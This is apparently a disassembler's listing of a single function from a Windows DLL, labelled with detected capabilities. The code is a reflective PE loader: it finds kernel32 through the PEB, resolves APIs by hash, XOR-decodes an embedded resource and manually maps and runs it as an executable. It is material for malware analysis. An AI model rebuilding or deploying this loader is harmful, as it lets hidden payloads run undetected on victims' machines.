Function at 0x1800065c0
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 prga
Get ntdll base address

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xd8
xor r14d, r14d
mov dword [rsp + 0x20], 0x4f583647
mov dword [rsp + 0x24], 0x623e585a
mov dword [rsp + 0x28], 0x534d6855
mov dword [rsp + 0x2c], 0x7574693e
mov word [rsp + 0x30], 0x76
lea r8d, [r14 + 0x6c]
lea r12d, [r14 + 1]
mov dword [rsp + 0x38], 0x65006b
mov dword [rbp - 0x7d], 0x6e0072
mov dword [rbp - 0x79], 0x6c0065
mov dword [rbp - 0x75], 0x320033
mov dword [rbp - 0x71], 0x64002e
mov dword [rbp - 0x6d], 0x6c006c
mov word [rbp - 0x69], r14w
mov edx, 0x3d0904
mov eax, r14d
lea rcx, [rbp - 0x59]
mov byte [rcx], al
add eax, r12d
add rcx, r12
cmp eax, r8d
jb 0x1800064ad
sub rdx, r12
jne 0x1800064a6
cmp byte [rbp + 6], 0x5f
jne 0x18000658a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rbx, qword [rcx + 0x10]
mov rdx, rbx
mov rcx, qword [rdx + 0x60]
mov r9d, r14d
mov rax, rcx
cmp word [rcx], r14w
je 0x1800064fa
lea rax, [rax + 2]
add r9d, r12d
cmp word [rax], r14w
jne 0x1800064ed
lea rax, [rsp + 0x38]
mov r8d, r14d
lea rax, [rax + 2]
add r8d, r12d
cmp word [rax], r14w
jne 0x180006502
cmp r9d, r8d
jne 0x180006573
lea r11, [rsp + 0x38]
mov r10d, r14d
sub r11, rcx
movzx r8d, word [rcx]
mov rax, rcx
mov r9d, r14d
test r8w, r8w
je 0x180006584
lea rax, [rax + 2]
add r9d, r12d
cmp word [rax], r14w
jne 0x18000652f
cmp r10d, r9d
jae 0x180006584
movzx r9d, word [r11 + rcx]
lea eax, [r8 - 0x41]
cmp ax, 0x19
ja 0x180006555
add r8w, 0x20
lea eax, [r9 - 0x41]
cmp ax, 0x19
ja 0x180006564
add r9w, 0x20
cmp r8w, r9w
jne 0x180006573
add r10d, r12d
add rcx, 2
jmp 0x18000651f
mov rdx, qword [rdx]
cmp rdx, rbx
jne 0x1800064dd
mov rbx, r14
jmp 0x18000658e
mov rbx, qword [rdx + 0x30]
jmp 0x18000658e
mov rbx, qword [rbp + 0x67]
mov edx, 0xe3142
mov rcx, rbx
call fcn.1800068da
mov edx, 0xd5786
mov rcx, rbx
mov rdi, rax
call fcn.1800068da
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp + 0x7f], rax
call fcn.1800068da
mov ebx, 0x3000
add byte [rsi + 0x43600], bh
mov r9d, 4
xor ecx, ecx
mov r8d, ebx
mov edx, esi
mov qword [rbp + 0x77], rax
call rdi
movsx rcx, byte [rbp + 0xa]
movabs r11, resource.0
xor rcx, 0x63
mov r15, rax
mov r9d, r14d
imul rdx, rcx, 0x6f684
sub r11, rdx
sub r11, rax
lea r10, [rdx + rax]
movsxd rcx, r9d
movabs rax, 0xe38e38e38e38e38f
add r9d, r12d
mul rcx
shr rdx, 4
lea rax, [rdx + rdx*8]
add rax, rax
sub rcx, rax
mov al, byte [rsp + rcx + 0x20]
xor al, byte [r11 + r10]
mov byte [r10], al
add r10, r12
cmp r9d, esi
jb 0x180006603
movsxd rax, dword [r15 + 0x3c]
mov r9d, 0x40
mov r8d, ebx
mov edx, dword [rax + r15 + 0x50]
xor ecx, ecx
call rdi
mov rdi, rax
test rax, rax
je 0x1800068c3
movsxd rsi, dword [r15 + 0x3c]
mov r8d, r14d
add rsi, r15
sub rax, qword [rsi + 0x30]
mov r9d, dword [rsi + 0x54]
movzx r10d, word [rsi + 0x14]
mov qword [rbp + 0x6f], rax
mov qword [rsi + 0x30], rdi
test r9, r9
je 0x180006699
mov rdx, r15
mov rcx, rdi
sub rdx, rdi
mov al, byte [rdx + rcx]
add r8d, r12d
mov byte [rcx], al
movsxd rax, r8d
add rcx, r12
cmp rax, r9
jb 0x180006686
mov rax, qword [rsi + 0xb0]
mov rcx, qword [rsi + 0x90]
mov r13, r14
mov r12, r14
mov ebx, r14d
mov qword [rbp + 0x67], rax
cmp r14w, word [rsi + 6]
jae 0x1800068c3
lea r9, [r10 + 0x24]
add r9, rsi
mov r10d, dword [r9]
cmp eax, r10d
jb 0x1800066de
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp eax, r8d
jae 0x1800066de
lea r13, [r9 - 0xc]
cmp ecx, r10d
jb 0x1800066f3
mov r8d, dword [r9 - 4]
add r8d, r10d
cmp ecx, r8d
jae 0x1800066f3
lea r12, [r9 - 0xc]
mov r11d, dword [r9 + 8]
mov r14d, dword [r9 + 4]
lea r8, [rdi + r10]
add r11, r15
xor r10d, r10d
test r14, r14
je 0x180006722
sub r11, r8
mov dl, byte [r11 + r8]
inc r10d
mov byte [r8], dl
movsxd rdx, r10d
inc r8
cmp rdx, r14
jb 0x18000670d
movzx edx, word [rsi + 6]
inc ebx
add r9, 0x28
cmp ebx, edx
jl 0x1800066c6
test r12, r12
je 0x1800068c3
mov r14d, dword [rbp + 0x6b]
xor edx, edx
test r14, r14
je 0x1800067f7
mov r12, qword [rbp + 0x6f]
mov r9d, dword [r13 + 0x14]
add r9, rdx
add rdx, 8
mov r8d, dword [r9 + r15 + 4]
sub r8, 8
shr r8, 1
je 0x1800067ee
mov eax, dword [r13 + 0x14]
add rax, rdx
add rdx, 2
movzx r10d, word [rax + r15]
mov eax, 0xf000
test ax, r10w
je 0x1800067e5
mov ecx, dword [r9 + r15]
and qword [rbp + 0x67], 0
and r10d, 0xfff
dec dword [rdi]
add byte [rax], al
lea rax, [rdi + r10]
xor r11d, r11d
lea r10, [rbp + 0x67]
add rcx, rax
lea rax, [rbp + 0x67]
mov rbx, rcx
sub rbx, rax
mov al, byte [rbx + r10]
inc r11d
mov byte [r10], al
movsxd rax, r11d
inc r10
cmp rax, 8
jb 0x1800067ac
add qword [rbp + 0x67], r12
lea r11, [rbp + 0x67]
xor r10d, r10d
sub r11, rcx
mov al, byte [r11 + rcx]
inc r10d
mov byte [rcx], al
movsxd rax, r10d
inc rcx
cmp rax, 8
jb 0x1800067d0
dec r8
jne 0x180006769
cmp rdx, r14
jb 0x18000674c
mov r14d, dword [rsi + 0x90]
add r14, rdi
je 0x1800068c3
add r14, 0xc
cmp dword [r14], 0
je 0x18000686e
mov r13, qword [rbp + 0x77]
mov ecx, dword [r14]
add rcx, rdi
call qword [rbp + 0x7f]
mov r12, rax
test rax, rax
je 0x1800068c3
mov ebx, dword [r14 + 4]
add rbx, rdi
jmp 0x18000685e
mov rax, qword [rbx]
movabs rcx, 0x8000000000000000
test rcx, rax
mov rcx, r12
je 0x18000684d
movzx edx, ax
jmp 0x180006854
lea rdx, [rax + 2]
add rdx, rdi
call r13
mov qword [rbx], rax
add rbx, 8
cmp qword [rbx], 0
jne 0x180006833
add r14, 0x14
cmp dword [r14], 0
jne 0x180006815
movsxd rax, dword [r15 + 0x3c]
cmp dword [rax + r15 + 0xd0], 0
je 0x1800068a2
mov eax, dword [rsi + 0xd0]
mov rbx, qword [rax + rdi + 0x18]
jmp 0x18000689a
xor r8d, r8d
mov rcx, r15
lea edx, [r8 + 1]
call rax
lea rbx, [rbx + 8]
mov rax, qword [rbx]
test rax, rax
jne 0x18000688a
mov rax, qword gs:[0x60]
mov qword [rax + 0x10], rdi
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov qword [rcx + 0x30], rdi
mov eax, dword [rsi + 0x28]
add rax, rdi
call rax
xor eax, eax
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret